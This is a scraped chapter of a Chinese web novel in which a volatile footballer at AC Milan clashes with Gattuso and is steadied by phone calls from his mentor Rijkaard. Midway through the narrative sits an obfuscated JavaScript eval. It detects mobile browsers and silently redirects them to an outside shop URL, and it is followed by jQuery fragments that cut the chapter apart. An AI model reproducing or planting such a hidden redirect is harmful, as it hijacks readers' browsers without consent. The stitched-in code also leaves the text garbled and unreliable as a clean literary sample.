默认冷灰
24号文字
方正启体

3. Srr的第三天

作者:颂念声本书字数:K更新时间:
    米兰内洛的清晨,空气清冽得有些刺骨。


    草皮上覆盖着一层薄薄的水珠,在初升的阳光下闪烁着细碎的光。


    这是莫罗斯·明加普林加入AC米兰后的第一次全队合练。


    更衣室里的气氛有些微妙,队友们对他被高层特意引进的“玻璃人”充满了好奇,也带着一丝审视的距离感。


    莫罗斯像往常一样,戴着耳机,把自己隔绝在那个只有音乐和幻听的世界里,那张美的惊人的脸上没有任何表情。


    训练开始后,一切都还算顺利。他在慢跑,拉伸,随后进行简单的传接球。


    但当他真正投入到对抗环节时,那种熟悉的、令人绝望的无力感瞬间袭来。


    他的双腿像是灌了铅,每抬一次脚都像是在与地心引力进行殊死搏斗。他的肺部像是着了火,每一次呼吸都带着铁锈味。


    更糟糕的是,脑子里的噪音越来越大,像是无数只蜜蜂在疯狂地撞击着他的耳膜。


    队友们的呼喊声、皮球撞击草皮的声音、教练的哨声,全部混杂在一起,变成了一种刺耳的、嘲笑般的尖啸。


    “莫罗斯!这边!”


    皮尔洛的声音从左侧传来。莫罗斯下意识地想要启动去接应,但他的右腿突然抽筋般的剧痛,身体瞬间失去了平衡。皮球从他脚下滑过,滚出了边线。


    “该死!”加图索——那个被称为“屠夫”的男人,忍不住咆哮了一声,虽然不是针对莫罗斯,但那声怒吼像是一根导火索,瞬间点燃了莫罗斯心中积压的炸药。


    “闭嘴!你这个蠢货!”


    莫罗斯猛地转过身,对着加图索歇斯底里地咆哮起来。


    他的脸涨得通红,双眼布满血丝,那张平日里忧郁温柔的面具彻底碎裂,露出了底下那狂暴、扭曲、充满痛苦的面孔。


    “你以为你是谁?一头只会乱撞的野猪吗?你懂什么叫配合吗?你懂什么叫优雅吗?滚回你的屠宰场去!”


    全场死一般的寂静。


    所有的球员都停下了动作,目瞪口呆地看着这个新来的玻璃人。


    皮尔洛张了张嘴,一时不知所措。加图索更是愣住了,他习惯了对手的挑衅,但从未见过队友在训练场上如此失控。


    莫罗斯的胸口剧烈起伏着,他感觉自己快要爆炸了。


    他想冲上去揍加图索,又想跪在地上痛哭。


    他恨透了这具身体,恨透了这个嘈杂的世界,更恨透了那个在电话里把他推向这个深渊的里杰卡尔德。


    “我不练了!这简直是疯了!这帮人都是一群白痴!”


    莫罗斯狠狠地把护腿板摔在地上,转身就要往更衣室走。


    他的脚步踉跄,每一步都像是踩在棉花上。


    就在这时,他的手机在场边的运动包里震动起来。


    那熟悉的、急促的震动声在寂静的训练场上显得格外刺耳。


    莫罗斯停下脚步,喘着粗气,转头看向那个包。


    他犹豫了一下,最终还是走了过去,颤抖着手掏出手机。


    屏幕上跳动着那个熟悉的名字:FRANK。


    莫罗斯深吸了一口气,按下了接听键,把手机贴在耳边。他没有说话,只是大口地喘着气,试图平复那狂乱的心跳。


    “我听说了。”里杰卡尔德的声音传了过来,没有质问,没有安慰,只是平静地陈述,“加利亚尼刚才给我打了电话,他很生气。


    安切洛蒂也很头疼,他们都觉得你是个被宠坏的天才,是个疯子。”


    莫罗斯闭上了眼睛,手指紧紧攥着手机,指节发白。


    “但我告诉他们,”里杰卡尔德的声音里带着一丝不易察觉的笑意,“这正是莫罗斯·明加普林。


    那个在巴塞罗那假装乖孩子的日子已经结束了。


    现在,你们看到的是一个真实的、暴躁的、才华横溢的怪物。一个只有在发疯时,才是最清醒的天才。”


    “先生……我……”莫罗斯的声音沙哑,带着一丝迷茫和愧疚,“我搞砸了。我会被退货的,我会被所有人唾弃的。”


    “不,你不会。”里杰卡尔德的语气变得严肃而坚定,“听着,赛里斯。你刚才的咆哮,不是崩溃,是……卸妆。”


    莫罗斯愣住了。


    “你戴了太久的面具,赛里斯。你把自己扮演成一个忧郁的诗人,一个脆弱的艺术家。”


    里杰卡尔德的声音低沉而有力,“但是你只是一个在雨夜里咆哮,希望自己得到胜利,得到关注的孩子。


    让队友们看看他吧。让他们认识他,也让他们依赖他。因为只有这样的好胜心,才能撕碎对手的防线。”


    莫罗斯睁开眼,看向场边。


    马尔蒂尼正朝他走来,脸上带着关切和疑惑。


    加图索虽然还在喘着粗气,但眼中的怒火已经消退,取而代之的是一种复杂的情绪——那是对于不稳定因素的警惕。


    “你不需要道歉,Srr。”里杰卡尔德说,“你只需要……承认它。承认你的愤怒,承认你的脆弱,承认你既是天使,也是魔鬼。


    把电话给加图索,或者直接跟他说。告诉他,你不是针对他,你只是……在杀戮开始前,磨了磨牙。”


    莫罗斯深吸了一口气,他感到一种前所未有的寒意,却又有一种诡异的解脱感。


    他把手机放回包里,没有挂断,任由里杰卡尔德听着接下来的一切。


    他转过身,面对着马尔蒂尼。他的眼神不再躲闪,不再忧郁,而是变得像威士忌里的冰块一样通透。


    “队长。”莫罗斯的声音冷得像冰,“我的腿抽筋了。但这不是借口。我刚才失控了,因为我讨厌失败,更讨厌噪音。”


    马尔蒂尼愣了一下,随即点了点头,他从莫罗斯的眼神中看到了一种不容置疑的决心。


    “去旁边处理一下腿,”马尔蒂尼说,“剩下的,等你好了再说。”


    莫罗斯没有再说话,他转身走向场边的冰桶。当他弯腰把抽筋的腿浸入冰冷的水中时,他看着水面上自己扭曲的倒影。


    那张脸依旧苍白,依旧英俊,但眼神中多了一种东西——一种混杂着疯狂、自毁和极致自傲的光芒。


    他终于不再需要假装是个好人了。


    里杰卡尔德说得对,他不是崩溃。他只是……终于把自己拼凑完整了。


    电话那头,里杰卡尔德听着冰块碎裂的声音,嘴角微微上扬。


    “欢迎来到AC米兰,真正的莫罗斯·明加普林。”


    水中的倒影里,那个“怪物”对着自己,露出了一个狰狞而又释然的微笑。


    米兰内洛的训练场边,夜色像一层薄纱笼罩着草皮。


    马尔蒂尼坐在长椅上,手里无意识地摩挲着那副队长袖标。


    更衣室里刚刚安静下来,但空气中似乎还残留着白天训练时的躁动。


    那个新来的家伙,莫罗斯·明加普林,已经走了。但他留下的影子,却像是一块沉重的石头,压在每个人的心头。


    马尔蒂尼回想着白天的训练赛。那不是一个愉快的下午。


    莫罗斯就像是一颗不定时炸弹,优雅得令人嫉妒,却又暴躁得令人恐惧。


    他能用一记手术刀般的直塞撕开防线,也能因为一次普通的身体对抗而视加图索为蛇蝎。


    那张美的惊人的忧郁面孔下,藏着一股随时会喷发的岩浆。


    “他到底是个天才,还是个疯子?”


    马尔蒂尼低声自语。


    作为队长,他习惯了掌控更衣室,习惯了用铁血和纪律来约束这群个性十足的球星。


    但莫罗斯是个例外。他像是一团迷雾,你永远看不清雾后面是什么。


    他想起了下午莫罗斯那个失控的瞬间。当加图索那句习惯性的怒吼响起时,莫罗斯瞬间爆发了。


    那不是普通的愤怒,而是一种混合了厌世、暴戾和极度脆弱的歇斯底里。


    他对着加图索咆哮,把护腿板摔在地上,然后像个受惊的孩子一样想要逃离。


    那一刻,马尔蒂尼看到了什么?他看到了恐惧。不是对对手的恐惧,而是对自身的恐惧。


    他亲眼目睹了莫罗斯在日韩世界杯上的表现——那个在地狱般的韩国主场,用一记冷血进球淘汰东道主的杀手。那样的人,怎么可能轻易崩溃?


    除非,他的崩溃本身就是一种防御机制。


    马尔蒂尼站起身,走到窗边。


    莫罗斯并没有立刻离开基地,而是坐在停车场那辆黑色轿车的阴影里,一动不动。手机屏幕的光在黑暗中忽明忽暗,显然在打电话。


    “他在跟谁通话?”马尔蒂尼猜测着。


    是经纪人?家人?还是……把他推荐到这里的弗兰克·里杰卡尔德?


    马尔蒂尼知道里杰卡尔德对莫罗斯的评价极高,甚至带着一种近乎偏执的信任。


    在这个下午之前,马尔蒂尼对此是怀疑的。AC米兰不需要一个只会制造麻烦的玻璃人。


    但此刻,在看到莫罗斯在黑暗中那孤独而僵硬的 silhouette 时,他忽然有了一丝动摇。


    “也许,他只是太痛苦了。”


    马尔蒂尼想起了自己年轻时的伤病,那种无法上场、无法控制身体的无力感。莫罗斯的痛苦,或许比这更甚。


    那是一种灵魂层面的撕裂——既想在绿茵场上称王称霸,又想逃离这个充满噪音和对抗的世俗世界。


    “他需要的不是指责,”马尔蒂尼心想,“而是一个……容器。一个能装下他所有疯狂和脆弱的容器。”


    AC米兰的更衣室,是否能成为那个容器?


    加图索走了过来,手里拿着两瓶水,递给马尔蒂尼一瓶。“队长,还在想那个‘怪物’?”


    马尔蒂尼接过水,笑了笑:“他在跟里杰通话。你知道吗,里诺,弗兰克从不看走眼。”


    加图索哼了一声,虽然下午被骂得很惨,但他眼中的怒火已经消退:“他是个好球员,这点我不否认。


    但他的脾气……太像年轻的范巴斯滕了。那种孤傲,那种对‘肮脏足球’的厌恶。”


    “范巴斯滕是传奇。”马尔蒂尼说,“也许,莫罗斯也是。”


    他们看着停车场的方向。莫罗斯终于挂断了电话。他没有立刻发动汽车,而是把头抵在方向盘上,似乎在平复情绪。


    过了一会儿,他抬起头,从后视镜里似乎察觉到了这边的目光。


    两人的视线在黑暗中短暂交汇。


    莫罗斯没有躲闪,也没有示意。他只是静静地坐在那里,眼神空洞而深邃,像是一口深不见底的古井。


    马尔蒂尼举起水瓶,对着那个方向微微示意。


    莫罗斯沉默了片刻,然后踩下油门,伴随轰隆隆的引擎声离开了停车场。


    “明天,”马尔蒂尼转过身,拍了拍加图索的肩膀,“别再对他吼了。给他一点空间,也给他一点尊重。他是莫罗斯·明加普林,他是我们的10号。”


    夜色更深了。米兰内洛恢复了宁静。但在那宁静之下,一种新的秩序正在悄然形成。


    回到住处的莫罗斯躺在床上,他什么都不想干,可大脑却不由自主的开始回忆起在巴塞罗那的夜晚<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430459|200910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>那是一场慷慨的春雨。


    午夜已过,巴塞罗那的雨敲打着窗户,发出细碎而密集的声响。


    莫罗斯坐在公寓落地窗前的地毯上,背靠着冰冷的玻璃。窗外的城市灯火在雨幕中晕染成模糊的光斑,像是一团团燃烧后冷却的灰烬。


    他手里攥着那部黑色的手机,指节因为用力而微微泛白。


    房间里没有开灯,只有手机屏幕发出的幽蓝光芒,映照着他那张轮廓分明却略显苍白的脸。


    耳机里传来的电流声和雨声交织在一起,构成了一种令人窒息的背景音。


    电话响了三声,然后被接起。那头很安静,只有一种沉稳的呼吸声,仿佛接电话的人正坐在一个温暖而干燥的房间里,与这个潮湿的世界隔绝。


    “喂。”弗兰克·里杰卡尔德的声音传了过来,低沉、平缓,带着一种历经沧桑后的倦意,却异常清晰。


    “先生。”莫罗斯的声音有些干涩,喉咙里像是堵着一团棉花,“是我。”


    电话那头沉默了片刻,并没有因为这通深夜来电而感到惊讶,仿佛他早已预料到这一刻。


    “赛里斯,”里杰卡尔德叫出了他的名字,“这个时候,巴塞罗那应该在下雨。你在听雨吗?”


    莫罗斯愣了一下,下意识地看了一眼窗外。“是的,在下雨。很大。”


    “我在阿姆斯特丹,这里也在下雨。”


    里杰卡尔德淡淡地说,“雨水是个好东西,它能洗掉很多痕迹,也能掩盖很多声音。


    你今天听到了什么,赛里斯?”


    莫罗斯闭上了眼睛,身体微微颤抖。他不想说,那些幻听中的嘲笑声、咒骂声,那些让他想要砸碎一切的冲动,那些在镜子里看到的、面目狰狞的自己。


    他不想让任何人看到他脆弱的一面,尤其是这位如山岳般沉稳的传奇。


    “没什么,”莫罗斯撒了谎,声音有些发紧,“只是……有点睡不着。感觉身体里像是有什么东西要炸开,又像是空荡荡的,什么都没有。”


    “那是你的大脑在跟你开玩笑。”


    里杰卡尔德的声音依旧平稳,没有丝毫说教的意味,更像是一种陈述事实,“它太弱了,像是一根随时会断的弦。


    但莫罗斯,你有没有想过,弦断了,琴还在。”


    莫罗斯咬了咬嘴唇,指甲深深地掐进掌心的肉里,用疼痛来保持清醒。


    “我讨厌这种感觉,先生。我讨厌我明明想笑,却笑不出来;明明想哭,却只能干瞪着眼。


    我讨厌那些记者看我的眼神,像是在看一个……一个易碎的瓷器。”


    “因为他们不懂。”里杰卡尔德的声音里多了一丝温度,“他们只看到了你的身高,你的外貌,你的进球。他们看不到你脑子里的风暴。


    我也曾被误解,赛里斯。在AC米兰,在巴萨,甚至在那场该死的世界杯上。人们记得我吐口水,记得我的红牌,却忘了我在场上做了什么。”


    莫罗斯想起了那段历史,那个被称为“黑天鹅”的男人,在绿茵场上优雅地杀戮,却又在某个瞬间彻底失控。


    “您是怎么熬过来的?”莫罗斯终于问出了口,声音里带着一丝不易察觉的恳求,“当那种想要毁灭一切,包括自己的冲动上来时,您是怎么控制住的?”


    电话那头传来了一声极轻的叹息,像是烟雾在空气中散开。


    “我控制不住,赛里斯。我从来没有控制住。我只是……转移了它。”


    里杰卡尔德的声音变得低沉而有力,“我把对世界的愤怒,对那些粗鲁动作的厌恶,对失败的恐惧,全部转移到了下一场比赛,下一个传球,下一次拦截上。


    我没有对着裁判咆哮,我没有对着对手挥拳,我对着草皮挥洒汗水。我把那些负面的东西,转化成了赢球的动力。”


    莫罗斯陷入了沉默,雨声似乎更大了。


    “你不需要做一个圣人,赛里斯。你甚至不需要做一个好人。”


    里杰卡尔德继续说道,“你只需要做一个职业球员。当你感到愤怒时,去健身房,把那些器械砸烂;当你感到厌世时,去球场,把那个球踢进网窝。


    把你的痛苦,变成对手的噩梦。把你的疯狂,变成我们的武器。”


    莫罗斯的呼吸渐渐平稳下来,那种想要砸碎手机、砸碎窗户的冲动慢慢退潮。


    里杰卡尔德的话像是一剂镇静剂,精准地注入了他狂乱的神经中枢。


    “可是……如果我做不到呢?”莫罗斯低声问道,声音里带着一丝疲惫,“如果有一天,我真的崩溃了,在场上哭了出来,或者……伤害了自己,怎么办?”


    “不会的。”里杰卡尔德的回答斩钉截铁,“因为我会看着你,莫罗斯。我会在场边,在看台上,在电话的另一头。当你感觉要坠落的时候,我会接住你。但你必须先试着,把那只脚迈出去。”


    莫罗斯深吸了一口气,空气中弥漫着雨水的土腥味和玻璃的凉意。他睁开眼睛,看着窗外模糊的灯火,忽然觉得那不再是燃烧的灰烬,而是一盏盏指引航船的灯塔。


    “谢谢您,先生。”莫罗斯轻声说道,这是他发自内心的感谢。


    “去睡吧,Srr。”里杰卡尔德的声音里带着一丝笑意,“明天还有训练。别让那些雨水,把你泡坏了。”


    电话挂断了。


    莫罗斯听着听筒里传来的忙音,许久,才缓缓放下手机。


    他依旧坐在地毯上,背靠着窗户,但身体已经不再颤抖。他抬头看向天花板,嘴角勾起一抹极淡的弧度。


    窗外,雨还在下,但似乎小了一些。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)